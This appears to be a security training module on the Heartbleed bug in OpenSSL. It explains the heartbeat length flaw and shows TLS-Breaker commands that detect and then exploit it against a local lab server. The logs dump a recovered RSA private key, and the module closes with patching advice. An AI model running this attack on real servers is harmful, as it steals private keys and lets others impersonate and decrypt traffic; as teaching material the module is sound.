Heartbleed

Heartbleed Bug

The Heartbleed Bug is an example of an implementation flaw in a library providing cryptographic algorithms for TLS that results in a high-impact vulnerability in a huge number of TLS servers.

The Heartbleed Bug

The base functionality of TLS can be extended with a multitude of extensions. One such extension is the `Heartbeat` extension. The heartbeat extension implements a check to see whether the current TLS connection is still alive. More specifically, the client sends a `Heartbeat Request` message to the server, to which the server responds. If the client receives the expected response, he knows that the server is still there and the connection is still alive.

The Heartbeat Request message consists of an arbitrary payload chosen by the client, as well as the length of the payload. The server then copies the payload into memory and sends the response. So, in normal usage, the client might send `("HackTheBox", 10)` to the server, which then replies with `"HackTheBox"`.

However, there was a bug in specific OpenSSL versions that implement the heartbeat extension which did not validate the length sent by the client. That means, a malicious client could send a small payload with a large length field, and the server would read data from its memory far beyond the end of the payload sent in the heartbeat message. For instance, an attacker might send the following heartbeat message: `("HackTheBox", 1024)`. The server would then respond with 1024 bytes of data, starting at the location where `"HackTheBox"` was stored in the server's memory. This would then leak the content of the server's memory to the client. As it turns out, this memory might contain the server's private key, leading to a complete compromise.

Since the heartbeat extension was enabled by default in the vulnerable OpenSSL versions, a huge number of servers were affected by this bug, making it very serious at the time.

Tools & Prevention

To exploit the Heartbleed Bug, we can again use the `TLS-Breaker` tool collection. We can run the Heartbleed detection tool like so:

```
mayala@htb[/htb]$ java -jar apps/heartbleed-1.0.1.jar -h
```

To identify a vulnerable server, we can pass the IP address and port using the `-connect` flag. A vulnerable server looks like this:

```
mayala@htb[/htb]$ java -jar heartbleed-1.0.1.jar -connect 127.0.0.1:443 14:04:52
[main] INFO : ClientTcpTransportHandler - Connection established from ports
50290 -> 443 14:04:52 [main] INFO : WorkflowExecutor - Connecting to
127.0.0.1:443 14:04:52 [main] INFO : ClientTcpTransportHandler - Connection
established from ports 50306 -> 443 14:04:52 [main] INFO : SendAction - Sending
messages (client): CLIENT_HELLO, 14:04:52 [main] INFO : ReceiveTillAction -
Received Messages (client): SERVER_HELLO, CERTIFICATE,
ECDHE_SERVER_KEY_EXCHANGE, SERVER_HELLO_DONE, 14:04:52 [main] INFO :
SendDynamicClientKeyExchangeAction - Sending Dynamic Key Exchange (client):
ECDH_CLIENT_KEY_EXCHANGE, 14:04:52 [main] INFO : SendAction - Sending messages
(client): CHANGE_CIPHER_SPEC, FINISHED, 14:04:52 [main] INFO : ReceiveAction -
Received Messages (client): NewSessionTicket, CHANGE_CIPHER_SPEC, FINISHED,
14:04:52 [main] INFO : SendAction - Sending messages (client): HEARTBEAT,
14:04:54 [main] WARN : ReceiveMessageHelper - Could not receive more Records
after ParserException - Parsing will fail 14:04:54 [main] WARN :
ReceiveMessageHelper - Could not parse Message as a CorrectMessage 14:04:54
[main] WARN : ReceiveMessageHelper - Could not parse Message as a CorrectMessage
14:04:54 [main] INFO : ReceiveAction - Received Messages (client):
UNKNOWN_MESSAGE, HEARTBEAT, HEARTBEAT, HEARTBEAT, UNKNOWN_MESSAGE, 14:04:54
[main] INFO : HeartbleedAttacker - Vulnerable. The server responds with a
heartbeat message, although the client heartbeat message contains an invalid
Length value 14:04:54 [main] INFO : Attacker - Vulnerability status: VULNERABLE
```

If a server is vulnerable, we can execute the attack to retrieve the server's private key with the `-executeAttack` flag. It might make sense to increase the number of heartbeat messages sent with the `-heartbeats` flag. The tool automatically parses the dumped memory to retrieve the private key. Since the attack is not deterministic, it might be necessary to execute the attack multiple times for it to be successful:

```
mayala@htb[/htb]$ java -jar heartbleed-1.0.1.jar -connect 127.0.0.1:443 -
executeAttack -heartbeats 10 <SNIP> 14:08:06 [main] INFO : HeartbleedAttacker -
Prime found! 14:08:06 [main] INFO : HeartbleedAttacker - prime =
13886620043748078713393004974406997460681280244480335267581194858737105368453981
41191188366311729566059252896389519495119532793996539951601752632733069395601853
89009715525288849417218863513613355923931846220909408574261175728746905860940035
239178683224848860217455818531522986412928578052409904184896622723843 14:08:06
[main] INFO : HeartbleedAttacker - Calculated values: 14:08:06 [main] INFO :
```

```
HeartbleedAttacker - p =
13886620043748078713393004974406997460681280244480335267581194858737105368453981
41191188366311729566059252896389519495119532793996539951601752632733069395601853
89009715525288849417218863513613355923931846220909408574261175728746905860940035
239178683224848860217455818531522986412928578052409904184896622723843 14:08:06
[main] INFO : HeartbleedAttacker - q =
13669019250723143011163732390142657688592089783270654375671499445695262739476335
90800385339874346067034538568182473546523009795690569241805996748311422717659239
99473224100296160536014207384344623936095054615904056843166655954703022044705375
767508334013778530118819683465877541013460546656781639216627269503219 14:08:06
[main] INFO : HeartbleedAttacker - phi =
18981647670547034231720684466754883987173383918913375628854000778181419949416003
14887133606199993585373456922494185600254919522899916995598021887351423712223290
13303551069137943877646599665387356485190402223451601509250088631300634832161540
80567177470490396579356519290912902354141136933039264833216145668349545191037200
06641610505324291863861331940903501516146677564538985804230443254900166159917725
17683448926444244352857510667013249459684061355361477393841860863241370509502666
39420220546619829499917362097598993992149973145609182607074861589938804570921258
237380864172364589630618273058365026729142542341344323556 14:08:06 [main] INFO :
HeartbleedAttacker - d =
19613915501921741278546847614151406741403810961576114219234828153538394479064524
36397099162486283558928399267456646609537561226342102612904131135258532032161392
92016974814257923911595399992981549066589774304166233642162686758803103450478043
59918965749143379409402680720518512404022732091878160649791680801083833564811315
56979566709195737446338547675938555665859789198019136040137412716814002049981359
36913852652681755765071801003557337891722303965471096466285774717468080792583129
65523861870654666123478397870659381313584634350376945025727598560670397569964868
81968097596399789446855164947300730289908804137137552209 14:08:06 [main] INFO :
HeartbleedAttacker - Encoded private key: -----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAll0Vwr1LOSaW/XoEER3qtS/6Lz/nnvUDcEbCfBOvqtZfVzwV
BtQlWg65SKkIIl3/OJHTWvBQbflmFl0PsLImEZTQ5sQDehfE1tc4ITaBp042z38h
oc0dphhniRPAXKECuel+iv4t1hIFXp8w5p8wTcNHtSehZpma3PE3ZzrwdFW0zPI5
wrYKCiOotDskKqbOGp1vPs14cSPBZAiCg9MDfPxmW1ww+uAj7BomWiI+EjEzieXk
dq2RMmjV0zAuV9Hx4nnBXSfVFPkO9lDstE+rzKoee/Y5y0WSjxJpdToktei/U5lK
KO8O/wOfPeajI+4XwGibISDZFoWxj0UDxQhz2QIDAQABAoIBAA+JhtocnU1Gg4ul
tA3gvYQDdSK0w8ZVIwnTBf20Ow64IBnvh2yxNzrbEqJDdSe39sttph1bf7QddUMS
UrC7d9uRORTfZEyVcC2TB6XG8BbNqjQ+usbxXwLuuqQbemEX8iQr0HukUDAypINm
h7MM9/zRFPPPKIpljO8Prd3o5TfgCsZZzgi+Ffp0pD3hJVjwq+xUEbf5bkaKj9WR
KKcFsWmhQWPh0wSdOxXgCXmrbCPQvY3LaU6X0w2ab2g/HubCrw7GxaR8FJLIc9HX
B/d3Qd6xgCLPq6+06LKNPtbANM99YIjszgiPLCXaeWQPdzONTqSV9STVYYXXVSES
```

```
NuShO1ECgYEAxcCFRVOmmXQxj8GXXG1tv1wD0vn7DUYAciIOtBRasiQDDLzulJBl
pc1wrYFLdAQrXFAhU5i333c7uig+OafW5GzV56qbm1FNakziOXqMZrOK6a2J+ZRq
H7NlK22F9YM8EDLIte/BSnc3S0LlSjV1zTOMtiAJft+qaM1BiJ+8gwMCgYEAwqc+
XgivntX1xpgDEoJ6C665IthI4gV0a4d+yb21Y/jasPnKCtvgkkO96PshRJB8CS49
RCCZ2Nc+wvTxYhfNeCjBeMykYR9D9yLl7+sC4RLyMI+GxQA/Yj7MMB5r7BJiSZQj
VKnJCNbIRh/eS1wUG00GeHsF38NMlH/O3GsACPMCgYEAlIqEkQrAvcv13pIAbEEW
iwNHLBbyaYoHk7PZb5NKfT1nvQ29+IJumBi1Zt8UGlV3bKQUJIM2uvkJOFA6TXyx
gmvuUVJqCEUN7adK1voitJJw6g6c8Yh2HtHWUMS4Ny8Y0uISufcaLiFWu4XITfHS
Rw1NyRBPkanYi1iCvWmfZJkCgYEAoMIY2vZXfFl+UtaGawoBG5bgZau0fZ49qPTN
PHYF0ZvbmR+iwlcXYBS8SiblMcgV+EsM5C/8fz49IivDEt1PnzYhms9/zopQylEz
D3LK/PF1va87gYWT02LDpdXqEZyZOeUzTJ+wXTFtU6TMJPbV0DpL5sLLdiLIIzhu
slFYRQsCgYAyXODgQLUM9SGqMpRozAu8G1vfTJupBwSC/oofP8fp7VPCVP7WIQaT
iLQoxXSZoJ+hXF3eBWPDWQ2BVsx57zluBN595MLOWvr5mJWsSlVjA3/wm9TvOkDa
YKxxHU+cgQ6NUBkMqrKlr1yLX4g4niq71Nrev8j+N1yyR0JRJoCGZg== -----END RSA PRIVATE
KEY-----
```

Prevention

Preventing the heartbleed bug is relatively easy, as it is a bug specific to the OpenSSL library. Therefore, it is only required to make sure that a web server does not run a vulnerable version of OpenSSL. Vulnerable versions are `OpenSSL 1.0.1 through 1.0.1f`.